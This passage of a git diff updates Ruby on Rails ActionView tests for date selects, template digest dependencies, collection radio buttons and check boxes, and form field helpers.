value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n} + expected << "</select>\n" + + expected << " — " + + expected << %{<select id="post_written_on_4i" name="post[written_on(4i)]" class="hour">\n} + expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n} + expected << "</select>\n" + expected << " : " + expected << %{<select id="post_written_on_5i" name="post[written_on(5i)]" class="minute">\n} + expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n} + expected << "</select>\n" + + assert_dom_equal expected, datetime_select("post", "written_on", start_year: 1999, end_year: 2009, with_css_classes: true) + end + + def test_datetime_select_with_custom_with_css_classes + @post = Post.new + @post.written_on = Time.local(2004, 6, 15, 15, 16, 35) + + expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="my-year">\n} + expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n} + expected << "</select>\n" + + expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="my-month">\n} + expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n} + expected << "</select>\n" + + expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="my-day">\n} + expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n} + expected << "</select>\n" + + expected << " — " + + expected << %{<select id="post_written_on_4i" name="post[written_on(4i)]" class="my-hour">\n} + expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n} + expected << "</select>\n" + expected << " : " + expected << %{<select id="post_written_on_5i" name="post[written_on(5i)]" class="my-minute">\n} + expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n} + expected << "</select>\n" + + assert_dom_equal expected, datetime_select("post", "written_on", start_year: 1999, end_year: 2009, with_css_classes: { year: 'my-year', month: 'my-month', day: 'my-day', hour: 'my-hour', minute: 'my-minute' }) + end + def test_date_select_with_zero_value_and_no_start_year expected = %(<select id="date_first_year" name="date[first][year]">\n) (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) } @@ -3209,7 +3611,7 @@ class DateHelperTest < ActionView::TestCase end def test_time_tag_with_given_block - assert_match(/<time.*><span>Right now<\/span><\/time>/, time_tag(Time.now){ '<span>Right now</span>'.html_safe }) + assert_match(/<time.*><span>Right now<\/span><\/time>/, time_tag(Time.now){ raw('<span>Right now</span>') }) end def test_time_tag_with_different_format @@ -3217,12 +3619,4 @@ class DateHelperTest < ActionView::TestCase expected = '<time datetime="2013-02-20T00:00:00+00:00">20 Feb 00:00</time>' assert_equal expected, time_tag(time, :format => :short) end - - protected - def with_env_tz(new_tz = 'US/Eastern') - old_tz, ENV['TZ'] = ENV['TZ'], new_tz - yield - ensure - old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ') - end end diff --git a/actionview/test/template/dependency_tracker_test.rb b/actionview/test/template/dependency_tracker_test.rb index 672b4747ec..3ece9e50cd 100644 --- a/actionview/test/template/dependency_tracker_test.rb +++ b/actionview/test/template/dependency_tracker_test.rb @@ -1,4 +1,3 @@ - require 'abstract_unit' require 'action_view/dependency_tracker' diff --git a/actionview/test/template/digestor_test.rb b/actionview/test/template/digestor_test.rb index c2b8439df3..4750d2a5a3 100644 --- a/actionview/test/template/digestor_test.rb +++ b/actionview/test/template/digestor_test.rb @@ -1,5 +1,6 @@ require 'abstract_unit' require 'fileutils' +require 'action_view/dependency_tracker' class FixtureTemplate attr_reader :source, :handler @@ -12,33 +13,11 @@ class FixtureTemplate end end -class FixtureFinder +class FixtureFinder < ActionView::LookupContext FIXTURES_DIR = "#{File.dirname(__FILE__)}/../fixtures/digestor" - attr_reader :details - attr_accessor :formats - attr_accessor :variants - - def initialize - @details = {} - @formats = [] - @variants = [] - end - - def details_key - details.hash - end - - def find(name, prefixes = [], partial = false, keys = [], options = {}) - partial_name = partial ? name.gsub(%r|/([^/]+)$|, '/_\1') : name - format = @formats.first.to_s - format += "+#{@variants.first}" if @variants.any? - - FixtureTemplate.new("digestor/#{partial_name}.#{format}.erb") - end - - def disable_cache(&block) - yield + def initialize(details = {}) + super(ActionView::PathSet.new(['digestor']), details, []) end end @@ -47,6 +26,7 @@ class TemplateDigestorTest < ActionView::TestCase @cwd = Dir.pwd @tmp_dir = Dir.mktmpdir + ActionView::LookupContext::DetailsKey.clear FileUtils.cp_r FixtureFinder::FIXTURES_DIR, @tmp_dir Dir.chdir @tmp_dir end @@ -54,7 +34,6 @@ class TemplateDigestorTest < ActionView::TestCase def teardown Dir.chdir @cwd FileUtils.rm_r @tmp_dir - ActionView::Digestor.cache.clear end def test_top_level_change_reflected @@ -75,6 +54,30 @@ class TemplateDigestorTest < ActionView::TestCase end end + def test_explicit_dependency_wildcard + assert_digest_difference("events/index") do + change_template("events/_completed") + end + end + + def test_explicit_dependency_wildcard_picks_up_added_file + disable_resolver_caching do + assert_digest_difference("events/index") do + add_template("events/_uncompleted") + end + end + end + + def test_explicit_dependency_wildcard_picks_up_removed_file + disable_resolver_caching do + add_template("events/_subscribers_changed") + + assert_digest_difference("events/index") do + remove_template("events/_subscribers_changed") + end + end + end + def test_second_level_dependency assert_digest_difference("messages/show") do change_template("comments/_comments") @@ -111,12 +114,39 @@ class TemplateDigestorTest < ActionView::TestCase end end + def test_logging_of_missing_template_for_dependencies + assert_logged "'messages/something_missing' file doesn't exist, so no dependencies" do + dependencies("messages/something_missing") + end + end + + def test_logging_of_missing_template_for_nested_dependencies + assert_logged "'messages/something_missing' file doesn't exist, so no dependencies" do + nested_dependencies("messages/something_missing") + end + end + + def test_getting_of_singly_nested_dependencies + singly_nested_dependencies = ["messages/header", "messages/form", "messages/message", "events/event", "comments/comment"] + assert_equal singly_nested_dependencies, nested_dependencies('messages/edit') + end + + def test_getting_of_doubly_nested_dependencies + doubly_nested = [{"comments/comments"=>["comments/comment"]}, "messages/message"] + assert_equal doubly_nested, nested_dependencies('messages/peek') + end + def test_nested_template_directory assert_digest_difference("messages/show") do change_template("messages/actions/_move") end end + def test_nested_template_deps + nested_deps = ["messages/header", {"comments/comments"=>["comments/comment"]}, "messages/actions/move", "events/event", "messages/something_missing", "messages/something_missing_1", "messages/message", "messages/form"] + assert_equal nested_deps, nested_dependencies("messages/show") + end + def test_recursion_in_renders assert digest("level/recursion") # assert recursion is possible assert_not_nil digest("level/recursion") # assert digest is stored @@ -164,13 +194,14 @@ class TemplateDigestorTest < ActionView::TestCase def test_details_are_included_in_cache_key # Cache the template digest. + @finder = FixtureFinder.new({:formats => [:html]}) old_digest = digest("events/_event") # Change the template; the cached digest remains unchanged. change_template("events/_event") # The details are changed, so a new cache key is generated. - finder.details[:foo] = "bar" + @finder = FixtureFinder.new # The cache is busted. assert_not_equal old_digest, digest("events/_event") @@ -207,7 +238,7 @@ class TemplateDigestorTest < ActionView::TestCase end def test_variants - assert_digest_difference("messages/new", false, variants: [:iphone]) do + assert_digest_difference("messages/new", variants: [:iphone]) do change_template("messages/new", :iphone) change_template("messages/_header", :iphone) end @@ -227,16 +258,6 @@ class TemplateDigestorTest < ActionView::TestCase assert_not_equal digest_phone, digest_fridge_phone end - def test_cache_template_loading - resolver_before = ActionView::Resolver.caching - ActionView::Resolver.caching = false - assert_digest_difference("messages/edit", true) do - change_template("comments/_comment") - end - ensure - ActionView::Resolver.caching = resolver_before - end - def test_digest_cache_cleanup_with_recursion first_digest = digest("level/_recursion") second_digest = digest("level/_recursion") @@ -248,18 +269,15 @@ class TemplateDigestorTest < ActionView::TestCase end def test_digest_cache_cleanup_with_recursion_and_template_caching_off - resolver_before = ActionView::Resolver.caching - ActionView::Resolver.caching = false + disable_resolver_caching do + first_digest = digest("level/_recursion") + second_digest = digest("level/_recursion") - first_digest = digest("level/_recursion") - second_digest = digest("level/_recursion") + assert first_digest - assert first_digest - - # If the cache is cleaned up correctly, subsequent digests should return the same - assert_equal first_digest, second_digest - ensure - ActionView::Resolver.caching = resolver_before + # If the cache is cleaned up correctly, subsequent digests should return the same + assert_equal first_digest, second_digest + end end @@ -279,23 +297,38 @@ class TemplateDigestorTest < ActionView::TestCase end end - def assert_digest_difference(template_name, persistent = false, options = {}) + def assert_digest_difference(template_name, options = {}) previous_digest = digest(template_name, options) - ActionView::Digestor.cache.clear unless persistent + finder.digest_cache.clear yield - assert previous_digest != digest(template_name, options), "digest didn't change" - ActionView::Digestor.cache.clear + assert_not_equal previous_digest, digest(template_name, options), "digest didn't change" + finder.digest_cache.clear end def digest(template_name, options = {}) options = options.dup - finder.formats = [:html] finder.variants = options.delete(:variants) || [] + ActionView::Digestor.digest(name: template_name, finder: finder, dependencies: (options[:dependencies] || [])) + end + + def dependencies(template_name) + tree = ActionView::Digestor.tree(template_name, finder) + tree.children.map(&:name) + end + + def nested_dependencies(template_name) + tree = ActionView::Digestor.tree(template_name, finder) + tree.children.map(&:to_dep_map) + end - ActionView::Digestor.digest({ name: template_name, finder: finder }.merge(options)) + def disable_resolver_caching + old_caching, ActionView::Resolver.caching = ActionView::Resolver.caching, false + yield + ensure + ActionView::Resolver.caching = old_caching end def finder @@ -309,4 +342,9 @@ class TemplateDigestorTest < ActionView::TestCase f.write "\nTHIS WAS CHANGED!" end end + alias_method :add_template, :change_template + + def remove_template(template_name) + File.delete("digestor/#{template_name}.html.erb") + end end diff --git a/actionview/test/template/form_collections_helper_test.rb b/actionview/test/template/form_collections_helper_test.rb index b193d387c3..4f7ea88169 100644 --- a/actionview/test/template/form_collections_helper_test.rb +++ b/actionview/test/template/form_collections_helper_test.rb @@ -198,6 +198,41 @@ class FormCollectionsHelperTest < ActionView::TestCase assert_select 'input[type=radio][value=false][checked=checked]' end + test 'collection radio buttons generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection' do + collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')] + with_collection_radio_buttons :user, :category_ids, collection, :id, :name + + assert_select "input[type=hidden][name='user[category_ids]'][value='']", count: 1 + end + + test 'collection radio buttons generates a hidden field using the given :name in :html_options' do + collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')] + with_collection_radio_buttons :user, :category_ids, collection, :id, :name, {}, { name: "user[other_category_ids]" } + + assert_select "input[type=hidden][name='user[other_category_ids]'][value='']", count: 1 + end + + test 'collection radio buttons generates a hidden field with index if it was provided' do + collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')] + with_collection_radio_buttons :user, :category_ids, collection, :id, :name, { index: 322 } + + assert_select "input[type=hidden][name='user[322][category_ids]'][value='']", count: 1 + end + + test 'collection radio buttons does not generate a hidden field if include_hidden option is false' do + collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')] + with_collection_radio_buttons :user, :category_ids, collection, :id, :name, include_hidden: false + + assert_select "input[type=hidden][name='user[category_ids]'][value='']", count: 0 + end + + test 'collection radio buttons does not generate a hidden field if include_hidden option is false with key as string' do + collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')] + with_collection_radio_buttons :user, :category_ids, collection, :id, :name, 'include_hidden' => false + + assert_select "input[type=hidden][name='user[category_ids]'][value='']", count: 0 + end + # COLLECTION CHECK BOXES test 'collection check boxes accepts a collection and generate a series of checkboxes for value method' do collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')] @@ -235,6 +270,13 @@ class FormCollectionsHelperTest < ActionView::TestCase assert_select "input[type=hidden][name='user[category_ids][]'][value='']", :count => 0 end + test 'collection check boxes does not generate a hidden field if include_hidden option is false with key as string' do + collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')] + with_collection_check_boxes :user, :category_ids, collection, :id, :name, 'include_hidden' => false + + assert_select "input[type=hidden][name='user[category_ids][]'][value='']", count: 0 + end + test 'collection check boxes accepts a collection and generate a series of checkboxes with labels for label method' do collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')] with_collection_check_boxes :user, :category_ids, collection, :id, :name @@ -264,6 +306,17 @@ class FormCollectionsHelperTest < ActionView::TestCase assert_select 'input[type=checkbox][value="2"].bar' end + test 'collection check boxes propagates input id to the label for attribute' do + collection = [[1, 'Category 1', {id: 'foo'}], [2, 'Category 2', {id: 'bar'}]] + with_collection_check_boxes :user, :active, collection, :first, :second + + assert_select 'input[type=checkbox][value="1"]#foo' + assert_select 'input[type=checkbox][value="2"]#bar' + + assert_select 'label[for=foo]' + assert_select 'label[for=bar]' + end + test 'collection check boxes sets the label class defined inside the block' do collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]] with_collection_check_boxes :user, :active, collection, :second, :first do |b| diff --git a/actionview/test/template/form_helper_test.rb b/actionview/test/template/form_helper_test.rb index 4e336bea63..310d0ce514 100644 --- a/actionview/test/template/form_helper_test.rb +++ b/actionview/test/template/form_helper_test.rb @@ -332,7 +332,7 @@ class FormHelperTest < ActionView::TestCase def test_label_with_block_and_html assert_dom_equal( '<label for="post_terms">Accept <a href="/terms">Terms</a>.</label>', - label(:post, :terms) { 'Accept <a href="/terms">Terms</a>.'.html_safe } + label(:post, :terms) { raw('Accept <a href="/terms">Terms</a>.') } ) end @@ -347,7 +347,7 @@ class FormHelperTest < ActionView::TestCase with_locale :label do assert_dom_equal( '<label for="post_body"><b>Write entire text here</b></label>', - label(:post, :body) { |b| "<b>#{b.translation}</b>".html_safe } + label(:post, :body) { |b| raw("<b>#{b.translation}</b>") } ) end end @@ -366,7 +366,7 @@ class FormHelperTest < ActionView::TestCase ) end - def test_label_with_to_model_and_overriden_model_name + def test_label_with_to_model_and_overridden_model_name with_locale :label do assert_dom_equal( %{<label for="post_delegator_title">Delegate model_name title</label>}, @@ -1139,13 +1139,17 @@ class FormHelperTest < ActionView::TestCase def test_datetime_field expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T00:00:00.000+0000" />} - assert_dom_equal(expected, datetime_field("post", "written_on")) + assert_deprecated do + assert_dom_equal(expected, datetime_field("post", "written_on")) + end end def test_datetime_field_with_datetime_value expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />} @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3) - assert_dom_equal(expected, datetime_field("post", "written_on")) + assert_deprecated do + assert_dom_equal(expected, datetime_field("post", "written_on")) + end end def test_datetime_field_with_extra_attrs @@ -1154,20 +1158,26 @@ class FormHelperTest < ActionView::TestCase min_value = DateTime.new(2000, 6, 15, 20, 45, 30) max_value = DateTime.new(2010, 8, 15, 10, 25, 00) step = 60 - assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value, step: step)) + assert_deprecated do + assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value, step: step)) + end end def test_datetime_field_with_value_attr expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2013-06-29T13:37:00+00:00" />} value = DateTime.new(2013,6,29,13,37) - assert_dom_equal(expected, datetime_field("post", "written_on", value: value)) + assert_deprecated do + assert_dom_equal(expected, datetime_field("post", "written_on", value: value)) + end end def test_datetime_field_with_timewithzone_value previous_time_zone, Time.zone = Time.zone, 'UTC' expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T15:30:45.000+0000" />} @post.written_on = Time.zone.parse('2004-06-15 15:30:45') - assert_dom_equal(expected, datetime_field("post", "written_on")) + assert_deprecated do + assert_dom_equal(expected, datetime_field("post", "written_on")) + end ensure Time.zone = previous_time_zone end @@ -1175,7 +1185,9 @@ class FormHelperTest < ActionView::TestCase def test_datetime_field_with_nil_value expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" />} @post.written_on = nil - assert_dom_equal(expected, datetime_field("post", "written_on")) + assert_deprecated do + assert_dom_equal(expected, datetime_field("post", "written_on")) + end end def test_datetime_field_with_string_values_for_min_and_max @@ -1183,7 +1195,9 @@ class FormHelperTest < ActionView::TestCase @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3) min_value = "2000-06-15T20:45:30.000+0000" max_value = "2010-08-15T10:25:00.000+0000" - assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value)) + assert_deprecated do + assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value)) + end end def test_datetime_field_with_invalid_string_values_for_min_and_max @@ -1191,7 +1205,9 @@ class FormHelperTest < ActionView::TestCase @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3) min_value = "foo" max_value = "bar" - assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value)) + assert_deprecated do + assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value)) + end end def test_datetime_local_field @@ -1281,7 +1297,7 @@ class FormHelperTest < ActionView::TestCase end def test_week_field - expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />} + expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W25" />} assert_dom_equal(expected, week_field("post", "written_on")) end @@ -1292,13 +1308,13 @@ class FormHelperTest < ActionView::TestCase end def test_week_field_with_datetime_value - expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />} + expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W25" />} @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3) assert_dom_equal(expected, week_field("post", "written_on")) end def test_week_field_with_extra_attrs - expected = %{<input id="post_written_on" step="2" max="2010-W51" min="2000-W06" name="post[written_on]" type="week" value="2004-W24" />} + expected = %{<input id="post_written_on" step="2" max="2010-W51" min="2000-W06" name="post[written_on]" type="week" value="2004-W25" />} @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3) min_value = DateTime.new(2000, 2, 13) max_value = DateTime.new(2010, 12, 23) @@ -1308,13 +1324,19 @@ class FormHelperTest < ActionView::TestCase def test_week_field_with_timewithzone_value previous_time_zone, Time.zone = Time.zone, 'UTC' - expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />} + expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W25" />} @post.written_on = Time.zone.parse('2004-06-15 15:30:45') assert_dom_equal(expected, week_field("post", "written_on")) ensure Time.zone = previous_time_zone end + def test_week_field_week_number_base + expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2015-W01" />} + @post.written_on = DateTime.new(2015, 1, 1, 1, 2, 3) + assert_dom_equal(expected, week_field("post", "written_on")) + end + def test_url_field expected = %{<input id="user_homepage" name="user[homepage]" type="url" />} assert_dom_equal(expected, url_field("user", "homepage")) @@ -1539,9 +1561,10 @@ class FormHelperTest < ActionView::TestCase end def test_form_for_requires_block - assert_raises(ArgumentError) do - form_for(:post, @post, html: { id: 'create-post' }) + error = assert_raises(ArgumentError) do + form_for(@post, html: { id: 'create-post' }) end + assert_equal "Missing block", error.message end def test_form_for_requires_arguments @@ -1577,7 +1600,7 @@ class FormHelperTest < ActionView::TestCase "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" + "<input name='post[secret]' type='hidden' value='0' />" + "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" + - "<input name='commit' type='submit' value='Create post' />" + + "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />" + "<button name='button' type='submit'>Create post</button>" + "<button name='button' type='submit'><span>Create post</span></button>" end @@ -1593,6 +1616,7 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form("/posts", "new_post", "new_post") do + "<input type='hidden' name='post[active]' value='' />" + "<input id='post_active_true' name='post[active]' type='radio' value='true' />" + "<label for='post_active_true'>true</label>" + "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" + @@ -1614,6 +1638,7 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form("/posts", "new_post", "new_post") do + "<input type='hidden' name='post[active]' value='' />" + "<label for='post_active_true'>"+ "<input id='post_active_true' name='post[active]' type='radio' value='true' />" + "true</label>" + @@ -1639,6 +1664,7 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form("/posts", "new_post_1", "new_post") do + "<input type='hidden' name='post[active]' value='' />" + "<label for='post_active_true'>"+ "<input id='post_active_true' name='post[active]' type='radio' value='true' />" + "true</label>" + @@ -1660,6 +1686,7 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form("/posts", "foo_new_post", "new_post") do + "<input type='hidden' name='post[active]' value='' />" + "<input id='foo_post_active_true' name='post[active]' type='radio' value='true' />" + "<label for='foo_post_active_true'>true</label>" + "<input checked='checked' id='foo_post_active_false' name='post[active]' type='radio' value='false' />" + @@ -1678,6 +1705,7 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form("/posts", "new_post", "new_post") do + "<input type='hidden' name='post[1][active]' value='' />" + "<input id='post_1_active_true' name='post[1][active]' type='radio' value='true' />" + "<label for='post_1_active_true'>true</label>" + "<input checked='checked' id='post_1_active_false' name='post[1][active]' type='radio' value='false' />" + @@ -1696,13 +1724,13 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form("/posts", "new_post", "new_post") do + "<input name='post[tag_ids][]' type='hidden' value='' />" + "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" + "<label for='post_tag_ids_1'>Tag 1</label>" + "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" + "<label for='post_tag_ids_2'>Tag 2</label>" + "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" + - "<label for='post_tag_ids_3'>Tag 3</label>" + - "<input name='post[tag_ids][]' type='hidden' value='' />" + "<label for='post_tag_ids_3'>Tag 3</label>" end assert_dom_equal expected, output_buffer @@ -1720,6 +1748,7 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form("/posts", "new_post", "new_post") do + "<input name='post[tag_ids][]' type='hidden' value='' />" + "<label for='post_tag_ids_1'>" + "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" + "Tag 1</label>" + @@ -1728,8 +1757,7 @@ class FormHelperTest < ActionView::TestCase "Tag 2</label>" + "<label for='post_tag_ids_3'>" + "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" + - "Tag 3</label>" + - "<input name='post[tag_ids][]' type='hidden' value='' />" + "Tag 3</label>" end assert_dom_equal expected, output_buffer @@ -1750,6 +1778,7 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form("/posts", "new_post_1", "new_post") do + "<input name='post[tag_ids][]' type='hidden' value='' />"+ "<label for='post_tag_ids_1'>" + "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" + "Tag 1</label>" + @@ -1759,7 +1788,6 @@ class FormHelperTest < ActionView::TestCase "<label for='post_tag_ids_3'>" + "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" + "Tag 3</label>" + - "<input name='post[tag_ids][]' type='hidden' value='' />"+ "<input id='post_id' name='post[id]' type='hidden' value='1' />" end @@ -1776,9 +1804,9 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form("/posts", "foo_new_post", "new_post") do + "<input name='post[tag_ids][]' type='hidden' value='' />" + "<input checked='checked' id='foo_post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" + - "<label for='foo_post_tag_ids_1'>Tag 1</label>" + - "<input name='post[tag_ids][]' type='hidden' value='' />" + "<label for='foo_post_tag_ids_1'>Tag 1</label>" end assert_dom_equal expected, output_buffer @@ -1794,9 +1822,9 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form("/posts", "new_post", "new_post") do + "<input name='post[1][tag_ids][]' type='hidden' value='' />" + "<input checked='checked' id='post_1_tag_ids_1' name='post[1][tag_ids][]' type='checkbox' value='1' />" + - "<label for='post_1_tag_ids_1'>Tag 1</label>" + - "<input name='post[1][tag_ids][]' type='hidden' value='' />" + "<label for='post_1_tag_ids_1'>Tag 1</label>" end assert_dom_equal expected, output_buffer @@ -1854,7 +1882,7 @@ class FormHelperTest < ActionView::TestCase expected = whole_form("/posts/44", "edit_post_44", "edit_post", method: "patch") do "<input name='post[title]' type='text' id='post_title' value='And his name will be forty and four.' />" + - "<input name='commit' type='submit' value='Edit post' />" + "<input name='commit' data-disable-with='Edit post' type='submit' 